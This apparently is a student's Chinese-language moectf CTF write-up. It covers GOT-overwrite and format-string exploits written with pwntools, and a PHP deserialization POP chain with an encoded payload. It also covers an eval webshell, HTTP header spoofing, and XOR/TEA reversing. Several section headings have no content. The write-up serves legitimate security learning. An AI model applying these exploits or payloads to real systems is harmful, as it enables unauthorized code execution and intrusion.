NX: NX enabled
PIE: No PIE (0x400000)
查看main函数,发现有read函数可以覆写got表的地址,并且执行完read后会调用exit函数,这里选择覆写exit函数的got表指向的地址,并且注意在覆写过程中不能改变system的got表指向的地址
查看内存中的地址
x/16xg 0x404000
0x404000 <puts@got[plt]>: 0x0000000000401036 0x0000000000401046
0x404010 <system@got[plt]>: 0x0000000000401056 0x0000000000401066
0x404020 <alarm@got[plt]>: 0x0000000000401076 0x0000000000401086
0x404030 <setvbuf@got[plt]>: 0x0000000000401096 0x00000000004010a6
思路是通过read从put的got表处将exit的got表改为指向后门函数,当执行完read后,调用exit函数就会调用后门函数
from pwn import *
io=remote("192.168.40.1",58220)
# io = process("./1")
# gdb.attach(io,"b *0x401285")
# pause()
payload=b'\x56\x10\x40\x00\x00\x00\x00\x00'*7+b"\x96\x11\x40\x00\x00\x00\x00\x00"
io.sendlineafter(b'`puts`.',payload)
io.interactive()
# moectf{de5tRUcTlOn_4Nd-reCOvEry_c0exIsT3ba643}
LoginSystem
检查保护情况,只有PIE没有开
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
在login函数中发现printf格式化字符串漏洞
先计算出输出处的偏移为8
payload=b'DDDDDDDD'+b".%p.%p.%p.%p.%p.%p.%p.%p"
Welcome, DDDDDDDD.0x7fffd266aaf0.(nil).0x7fcb5b8aa887.0x9.0x7fcb5b9c7040.0x7fcb5b9ad600.0x7fcb5b8205ad.0x4444444444444444 #偏移8
这里用任意地址读和写都可以
任意地址读
from pwn import*
io=remote("192.168.40.1",56535)
# io=process("1")
# gdb.attach(io,"b* 0x40137D")
# pause()
# payload=b'DDDDDDDD'+b".%p.%p.%p.%p.%p.%p.%p.%p" 偏移8
payload=b'%9$s\x00\x00\x00\x00\x50\x40\x40\x00\x00\x00\x00\x00'
io.sendlineafter(b"username:",payload)
io.recvuntil(b", ")
password=io.recvuntil(b"!")[:-1]
io.sendlineafter(b"password:",password)
io.interactive()
这里需要注意的是printf会被\x00阻断,所以我们在偏移为9的地方存储password处的地址,并通过 %9$s 读取
任意地址写
from pwn import*
context.arch='amd64'
# io=remote("192.168.40.1",56535)
io=process("./1")
# gdb.attach(io,"b* 0x40137D")
# pause()
# payload=b'DDDDDDDD'+b".%p.%p.%p.%p.%p.%p.%p.%p" 偏移8
payload=fmtstr_payload(8,{0x404050:0},write_size='short')
print(payload)
print(len(payload))
io.sendlineafter(b"username",payload)
password=b'\x00'*8
io.sendlineafter(b"password",password)
io.interactive()
认识到了一个新的函数fmtstr_payload,用于自动生成格式化字符串payload
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
offset
:控制的第一个格式化程序的偏移writes
:为字典,用于往addr中写入value,例如{addr: value, addr2: value2}numbwritten
:已经由printf
写入的字节数write_size
:必须是byte/short/int
其中之一,指定按什么数据宽度写(%hhn/%hn/%n
)
这里要注意的是使用前需要声明版本是32还是64的
context.arch="amd64"
Catch_the_canary!
检查保护情况,开了Canary和代码执行保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
System_not_found!
第三周
NX_on!
shellcode_revenge
Pwn_it_off!
Read_once_twice!
Where is fmt?
Reverse
第一周
逆向工程入门指北
根据解密脚本得到flag
#include <stdio.h>
int main()
{
char password_enc[] = {
123, 121, 115, 117, 98, 112, 109, 100, 37, 96, 37, 100, 101, 37, 73, 39,
101, 73, 119, 73, 122, 121, 120, 113, 73, 122, 121, 120, 113, 73, 97, 119,
111, 73, 98, 121, 73, 115, 110, 102, 122, 121, 100, 115, 107, 22 };
char password[47];
for (int i = 0; i < 46; i++) {
password[i] = password_enc[i] ^ 22;
}
password[46] = 0;
printf("%s\n", password);
return 0;
}
// moectf{r3v3rs3_1s_a_long_long_way_to_explore}
moectf{r3v3rs3_1s_a_long_long_way_to_explore}
xor
#include <stdio.h>
int main()
{
char p[]= "\x49\x4B\x41\x47\x50\x42\x5F\x41\x1C\x16\x46\x10\x13\x1C\x40\x09\x42\x16\x46\x1C\x09\x10\x10\x42\x1D\x09\x46\x15\x14\x14\x09\x17\x16\x14\x41\x40\x40\x16\x14\x47\x12\x40\x14\x59\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
int i;
for (i = 0; i < 44; i++)
{
printf("%c", p[i]^0x24);
}
return 0;
}
// moectf{e82b478d-f2b8-44f9-b100-320edd20c6d0}
定位密文和异或数即可解出
TEA
tea算法最关键的是要找到DELTA值和128位的key。
明文长度分组为64位(8字节),密钥长度为128位(16字节),明文和密钥进入32轮循环,得到最后的64位密文。其中magic number DELTA是由黄金分割点得到。
首先分析最重要的解密部分
do
{
v3 -= 0x61C88647;
v4 += (v5 + v3) ^ (16 * v5 + 0x65736162) ^ ((v5 >> 5) + 0x6F783436);
v5 += (v4 + v3) ^ (16 * v4 + 0x61657472) ^ ((v4 >> 5) + 0x61657478);
--v6;
}
while ( v6 );
v3 -= 0x61c88647 和 v3 += 0x9e3779b9 是等价的,所以DELTA为0x9e3779b9。可以使用IDA插件进行常规TEA算法的识别。并且得到4个key
if ( v4 != 0x284C2234 || (v7 = "correct flag!!!\n", v5 != 0x3910C558) )
v7 = "not correct, try again!\n";
这里能获取到两个需要解密的数据v4 v5的值
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
void encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0, i;
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];
for (i=0; i < 32; i++) {
sum += DELTA;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
}
v[0]=v0; v[1]=v1;
}
void decrypt (uint32_t* v, uint32_t* k)
{
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];
for (i=0; i<32; i++) {
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= DELTA;
}
v[0]=v0; v[1]=v1;
}
int main()
{
uint32_t k[4]={0x65736162,0x6F783436,0x61657472,0x61657478};
uint32_t v[2]={0x284C2234,0x3910C558};
decrypt(v,k);
int v4,v5,v11,v9;
v4 = v[0];
v5 = v[1];
printf("v4=%x v5=%x\n",v4,v5);
v11 = (v5 >> 16) & 0xFFFF;
v9 = v5 & 0xFFFF;
printf("moectf{%x-%x-%x-9c42-caf30620caaf}",v4,v11,v9);
}
//moectf{836153a5-8e00-49bd-9c42-caf30620caaf}
逆向工程进阶之北
首先对题目的代码进行翻译
#include <stdio.h>
#include <string.h>
void flag_encryption(unsigned char* input) {
size_t len = strlen((const char*)input);
if (len != 44) {
printf("length error!\n");
return;
}
unsigned int* p = (unsigned int*)input;
int i;
for ( i = 0; i < 11; i++) {
p[i] = (p[i] * 0xccffbbbb + 0xdeadc0de) ^ 0xdeadbeef + 0xd3906;
printf(", 0x%08x", p[i]);
}
printf("\n");
}
int main() {
unsigned char a[] = "moectf{f4k3__flag__here_true_flag_in_s3cr3t}";
flag_encryption(a);
return 0;
}
锁定最重要的加密部分
p[i] = (p[i] * 0xccffbbbb + 0xdeadc0de) ^ 0xdeadbeef + 0xd3906;
这里的话需要用到有限域下的乘法逆元的知识,在进阶指北里有详细讲解,这里主要是讲一下实现。
from sympy import mod_inverse
def modular_inverse(a, m):
try:
inverse = mod_inverse(a, m)
return inverse
except ValueError:
return f"{a} 在mod {m} 下没有乘法逆元"
a = 0xccffbbbb
m = 0x100000000
inverse = modular_inverse(a, m)
print(f"{a} 在mod {m} 下的乘法逆元是: {inverse}")
通过上述代码可以得到 3439311803 在模 4294967296 下的乘法逆元是: 2371998067,所以解密部分应该为
p[i] = (((p[i] ) ^ (0xdeadbeef + 0xd3906)) - 0xdeadc0de) * 0x8d61d173;
这里要特别注意c++的加号'+'优先级是比异或'^'高的
写出解密脚本
#include <stdio.h>
void decrypt(unsigned int* p)
{
for (int i = 0; i < 11; i++)
{
p[i] = (((p[i] ) ^ (0xdeadbeef + 0xd3906)) - 0xdeadc0de) * 0x8d61d173;
}
unsigned char* input = (unsigned char*) p;
for (int i = 0; i < 44; i++)
{
printf("%c", input[i]);
}
}
int main()
{
unsigned int p[] = {
0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda ,
0x52bc07da , 0x29054b48 , 0x42d74750 , 0x11297e95 ,
0x5cf2821b , 0x747970da , 0x64793c81};
decrypt(p);
return 0;
}
得到flag
moectf{c5f44c32-cbb9-444e-aef4-c0fa7c7a6b7a}
SecretModule
打开customize.sh文件,提取到关键信息
printf 'QlpoOTFBWSZTWZspxEUAAfxfgFAwdef/6zfHz6D/79/uQAJSu07tCQ1BI09E9Q0DINA9TQA2oAAA0NAlCFPRpM0mjSNR+hIaek0AHqaGj1PUNNMeqDSEJ6gNBo0NNAAZNGjI0NBoAAlEjEo8ppp6NPVGCaaNNMR6g9EBoPUGgPAecJO66TH6u4xdFeH8fRdR4OSNOqLoVm2I39FZSS/irDMIJmggh2EyQovQos26HmeniQH4iRSw0JeeVV2C9E8NkJh+VZwioAZj5QpGcdTmdOSMoYLaiaaa8oZEhIRgQbKjP7VIopzl53axe+MJxXTyrg/duKuBYecUVQUUTMptuykt+JqZZmJSM0dQ/YaHpifbwN3wN0NYRAEYC0tkI6uE4GkS9r1eFB9zyCBef6dnGYwKo8BylS24xNYsXSUXIYpZC3fzxlQKVBUwrBawin+AaDPkLwbCSQNge45QjrBfoNLEJSWk8C0ajKPu8NORzYlfqGgjOQOQQ0YG7gCRaWFD6wkguEqEUi6bSFTxLE4Y3+pziYRKFVet5X1CrnXc2jLN+9tMTJ8beC0ED5k1K7n22efCha1ci53zQHgQBUKLg1Q3hPZoMCAp0g48QN02037Qy891pyxa+vZU5msKnsJryCXKyBdrCrWXljrC/S6i3MBzRikY4kZzLw7v8aL7oOYKGRkUCWxelwUWFKIOQyImQVnIKicgYFqJYjeY1CMSgaiR4dqQ7MomJ6LdpOEtDOvfhjsEplnGTvSo3NV1KnALfTTYMeOUngApQKa8IExBIGZhafHgZZjI0HAKg6bcV5QwiUHCoorQaSWUvNMLgejbZ/QJA9QFWitiup+KyAU5uTergMVuJ5jj/xdyRThQkJspxEU=' | base64 -d | bunzip2 -c
解码后得到以下信息
testk() {
echo "Welcome to the Secret module!But before you begin,you need to prove your self."
(/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events) || return 1
return 0
}
choose() {
while true; do
/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events
if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUME >/dev/null`); then
break
fi
done
if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUMEUP >/dev/null`); then
echo "114514"
else
echo "1919810"
fi
}
if testk; then
ui_print "Great! Now enter the secret."
else
ui_print "Legacy Device. Use a newer device to do this challenge"
exit
fi
concatenated=""
for i in 1 2 3 4 5 6 7
do
result=$(choose)
concatenated="${concatenated}${result}"
done
input_str=$(echo -n $concatenated | md5sum | awk '{print $1}')
sec="77a58d62b2c0870132bfe8e8ea3ad7f1"
if test $input_str = $sec
then
echo 'You are right!Flag is'
echo "moectf{$concatenated}"
else
echo 'Wrong. Try again.'
exit
fi
分析代码后我们能够发现最终的flag是由七组数字组成,每组数字为"114514"或"1919810",以及他的md5值,所以可以写一个代码进行爆破
import hashlib
md5 = "77a58d62b2c0870132bfe8e8ea3ad7f1"
values = ["114514", "1919810"]
for a in values:
for b in values:
for c in values:
for d in values:
for e in values:
for f in values:
for g in values:
concatenated = a + b + c + d + e + f + g
if hashlib.md5(concatenated.encode()).hexdigest() == md5:
print(f"moectf{{{concatenated}}}")
exit()
print("No match found.")
得到flag
moectf{114514114514191981011451411451419198101919810}
Web
第一周
Web入门指北
$data = array(
"ciphertext" => "F8NX+bX/AAT5oTosfY7JpiQ1oQM0onbI/41oFG9khFMr68qBn8ZlPia8XhrLSMFo",
"key" => "1234567891011121"
);
从附件中获取到加密方式和key和IV,直接进行AES解密得到flag
moectf{H3r3'5_@_flYinG_kIss_f0r_yoU!}
弗拉格之地的入口
去百度了解后得知爬虫抓取网站的时候要查看的第一个文件是robots.txt,位于网站的根目录下。obots.txt文件定义了爬虫在爬取该网站时存在的限制,哪些部分爬虫可以爬取,哪些不可以爬取。
访问后得到以下信息
# Robots.txt file for xdsec.org
# only robots can find the entrance of web-tutor
User-agent: *
Disallow: /webtutorEntry.php
进一步访问
我想……这里就是入口了吧
想要获得真正的具有价值的 flag, 还得往里走
但是,先拿着这个 flag 吧,兴许它也有点作用呢
flag: moectf{c0NGr@tuIAT10N_F0r_KNowiNG_rOboTs-TXTa5d}
得到flag
moectf{c0NGr@tuIAT10N_F0r_KNowiNG_rOboTs-TXTa5d}
弗拉格之地的挑战
连上靶场后获得信息,访问
http://127.0.0.1:xxxxx/flag1ab.html
在源代码中找到第一段flag
flag1: bW9lY3Rm
继续访问
127.0.0.1:xxxxx/flag2hh.php
在响应标头中发现flag2以及flag3地址
flag2:e0FmdEV
访问下一层
127.0.0.1:xxxxx/flag3cad.php
根据题目要求是用 GET 方法传入一个 a 参数
http://127.0.0.1:xxxxx/flag3cad.php?a=1
传入后用hackbar用 POST 方法传入一个 b 参数后需要使用 admin 的身份验证,所以加一个cookie并改为verify=admin
得到flag3
flag3: yX3RoMXN
这里介绍一下Burpsuite的POST传参方式
先将拦截的包发到Repeater
将GET改为POST后添加
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
b=3
下一步需要将Cookie更改为
Cookie: verify=admin
也能达到同样的效果
进入下一层
127.0.0.1:xxxxx/flag4bbc.php
将Referer改为
http://localhost:8080/flag3cad.php?a=1
有八个按钮,查看源码
if (button.id == 9) {
alert("你过关!(铜人震声)\n我们使用 console.log 来为你生成 flag");
fetch('flag4bbc.php', {
method: 'post',
body: 'method=get',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
})
有两种思路,一种是更改前端,更改或新添加一个id为9的按钮,另一种思路是直接传下面的参数,得到flag4与下一层连接
flag4: fdFVUMHJ
进入下一层
127.0.0.1:xxxxx/flag5sxr.php
需要输入I want flag,但是输入后抓包发现其实是并没有加上的,查看源代码发现被前端过滤了
if (content == "I want flag") {
alert("你就这么直接?");
return false;
} else {
return true;
}
这时候我们直接抓包改,得到flag5和下一层连接
flag5: fSV90aDF
进入下一层
http://127.0.0.1:xxxxx/flag6diw.php
一个绕过
<?php
highlight_file("flag6diw.php");
if (isset($_GET['moe']) && $_POST['moe']) {
if (preg_match('/flag/', $_GET['moe'])) {
die("no");
} elseif (preg_match('/flag/i', $_GET['moe'])) {
echo "flag6: xxx";
}
}
首先需要用GET和POST传moe,然后对GET参数内容进行绕过。模式分隔符后写i,表示这是一个大小写不敏感的搜索所以可以传入FLAG绕过。得到flag6和下一层地址
flag6: rZV9VX2t
进入下一层
http://127.0.0.1:xxxxx/flag7fxxkfinal.php
出现以下信息
但是,由于龙珠被你抢走了 6 个,现在这个弗拉格之地的空间已经极度不稳定,要崩塌了,最后一颗龙珠也不知道滚落到了那里
下面已经出现了空间裂痕,借助他的力量找到这片空间里的最后一颗龙珠?
eval($_POST['what']);
这是一条一句话木马,直接蚁剑连接,在根目录发现flag7和提示
flag7:rbm93X1dlQn0=
如果你看到这个提示,说明你已经集齐了 7 颗龙珠(当然没集齐也没关系,你都来到这了,剩下的还能难倒你?)
现在把你的 7 个 flag 片段拼在一起,你就应该知道怎么样获得最终 flag 了。
如果你还不知道,想一想这些编码,一堆大小写和数字,最后还有一个等号哦。。。
整理一下目前得到的信息
flag1:bW9lY3Rm
flag2:e0FmdEV
flag3:yX3RoMXN
flag4:fdFVUMHJ
flag5:fSV90aDF
flag6:rZV9VX2t
flag7:rbm93X1dlQn0=
bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0= base64
moectf{AftEr_th1s_tUT0r_I_th1ke_U_kknow_WeB}
ez_http
查看源代码
<body>
<div class="container">
<form method="get">
<button class="button" name="animateButton">Hit the question setter</button>
</form>
<style>body { background-image: url('image4.jpg'); }</style><h1 class="title">Please use POST method</h1>
</div>
</body>
根据提示将GET改为POST,进入下一层
Please POST the parameter imoau=sb
POST传参后,进入下一层
Please GET the parameter xt=大帅b
GET传参后,进入下一层
The source must be https://www.xidian.edu.cn
将Referer设置为https://www.xidian.edu.cn/
Please use MoeDedicatedBrowser
将User Agent设置为MoeDedicatedBrowser
Local access only
添加header
X-Forwarded-For: 127.0.0.1
得到flag
moectf{YoU-aR3-r341lY-rE4I1Y-v3rY-CIev3r!!!1549e}
ProveYourLove(七夕限定)
提交一份进行抓包,发现未进行加密
直接进行爆破,得到flag
moectf{conGraTuI4tiOnS-ON_B3COmlng_a-lICk1Ng-dOG1b6}
moeCTF{Happy_Chin3s3_Va13ntin3's_Day,_Baby.}
pop moe
这里先对源代码进行解读
<?php
//定义一个名为 class000 的类
class class000 {
//声明一个私有属性 $payl0ad ,一个受保护的属性 $what
private $payl0ad = 0;
protected $what;
//对象被销毁时调用的魔术方法,class000类的公共成员方法
public function __destruct()
{
$this->check();
}
//定义一个名为 check 的公共成员方法
public function check()
{
//当 $payl0ad 属性的值等于0时终止脚本运行,并且输出 'FAILED TO ATTACK'
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
//将 $this->what 赋值给变量 $a ,并调用 $a
$a = $this->what;
$a();
}
}
//定义一个名为 class001 的类
class class001 {
//声明两个公有属性 $payl0ad 和 $a
public $payl0ad;
public $a;
//以函数的方式调用一个对象时调用此魔术方法
public function __invoke()
{
//将 $payl0ad 属性 赋值给 $a->payload
$this->a->payload = $this->payl0ad;
}
}
//定义一个名为 class002 的类
class class002 {
//声明一个私有属性 $sec
private $sec;
//定义了一个名为 __set 的公共方法
public function __set($a, $b)
{
//尝试给对象的一个不存在或不可访问的属性赋值,调用 $b 作为当前对象 $this 的一个方法,并将当前对象 $this 的 sec 属性作为参数传递给 $b 方法
$this->$b($this->sec);
}
//定义了一个名为 dangerous 的公共方法
public function dangerous($whaattt)
{
//调用了 $whaattt 对象的 evvval 方法,并将 $this->sec 作为参数传递给它
$whaattt->evvval($this->sec);
}
}
//定义一个名为 class003 的类
class class003 {
public $mystr;
//定义了一个名为 evvval 的公共方法
public function evvval($str)
{
eval($str);
}
// 当你尝试将对象转换为字符串(例如,在 echo 或 print 语句中)时,__toString 方法会被自动调用
public function __tostring()
{
//返回对象的一个属性 $this->mystr 的值
return $this->mystr;
}
}
// 如果 GET 请求中包含参数 data
if(isset($_GET['data']))
{
// 反序列化 data 参数并将结果赋值给 $a 变量
$a = unserialize($_GET['data']);
}
// 如果没有 data 参数,则显示当前文件的源代码
else {
highlight_file(__FILE__);
}
这一题我们需要构造pop链,要先找到pop链的头和尾,再理清从pop链尾到头的过程:
pop链尾处我们需要通过赋值 $mystr 进行命令执行,通过 __tostring( ) \$str 替换为\$mystr
通过 evvval(\$str) 函数调用 eval($str) 触发 __tostring( )
触发eval( )函数的条件是需要触发class003中的evvval( )函数。
触发evvval( )函数的条件是触发class002中的dangerous( )函数
为了触发dangerous( )函数,我们需要触发class002中的__set( )魔术方法并使\$this -> dangerous($this->sec)
当我们给class002的一个不存在或不可访问的属性赋值时候,会自动调用__set( )方法,从而调用到dangerous( )函数
在触发class001中的_invoke( )并使\$this->a = new class002( ) ->payload = $this->payl0ad,从而调用\_set( ) 方法。
class001类中的check( )函数以函数方式调用 \$a 可以触发__invoke( ),函数中存在\$a = \$this -> what,所以我们需要对what进行赋值,使 this -> what = new class001
但是check( )需要 payl0ad 的值 != 0 , 需要对 payl0ad 进行重新赋值,直接赋值或者方法赋值。
当 class000开始被销毁时触发__destruct() 进而调用 check( ) 函数,实现闭环
class000 -> __destruct() => class001 -> check( ) => class001 -> __invoke( ) => class002 -> __set( ) => class002 -> dangerous( ) => class003 -> evvval( ) => class003 -> eval( ) => clss003 -> __tostring( )
<?php
class class000 {
private $payl0ad = 1;
protected $what;
public function setWhat($setWhat)
{
$this->what = $setWhat;
}
}
class class001 {
public $payl0ad;
public $a;
}
class class002 {
private $sec;
public function setSec($setSec)
{
$this->sec = $setSec;
}
}
class class003 {
public $mystr;
}
$c3 = new class003;
$c3 -> mystr = 'phpinfo();';
$c2 = new class002;
$c2 -> setSec($c3);
$c1 = new class001;
$c1 -> a = $c2;
$c1 -> payl0ad = 'dangerous';
$c0 = new class000;
$c0->setWhat($c1);
echo urlencode(serialize($c0));
?>
编码后得到
O%3A8%3A%22class000%22%3A2%3A%7Bs%3A17%3A%22%00class000%00payl0ad%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00what%22%3BO%3A8%3A%22class001%22%3A2%3A%7Bs%3A7%3A%22payl0ad%22%3Bs%3A9%3A%22dangerous%22%3Bs%3A1%3A%22a%22%3BO%3A8%3A%22class002%22%3A1%3A%7Bs%3A13%3A%22%00class002%00sec%22%3BO%3A8%3A%22class003%22%3A1%3A%7Bs%3A5%3A%22mystr%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D
GET传入data命令执行查看php配置信息,在Environment下找到flag
moectf{IT-sE3MS-tH4t_yOu_KNow_WHat-15-pOp-IN-PHPpppPpP!!!4b}
Dev
哦不!我的libc!
连上后先查看可用指令
root@ret2shell-89-7114:~# compgen -c
if
then
else
elif
fi
case
esac
for
while
done
function
!
alias
builltin
continue
echo
eval
exit
export
printf
read
return
shift
shopt
true
unalias
unset
shutdowm
yes
采用echo重定向读取flag.txt文件,得到flag
root@ret2shell-89-7114:~# echo $(</flag.txt)
moectf{6UsYB0X_ls-sO00OOO100o0oOo0OOoOo00o0o00_6usYb}
大语言模型应用安全
Neuro?
moectf{c31536ef2c9d6fc9}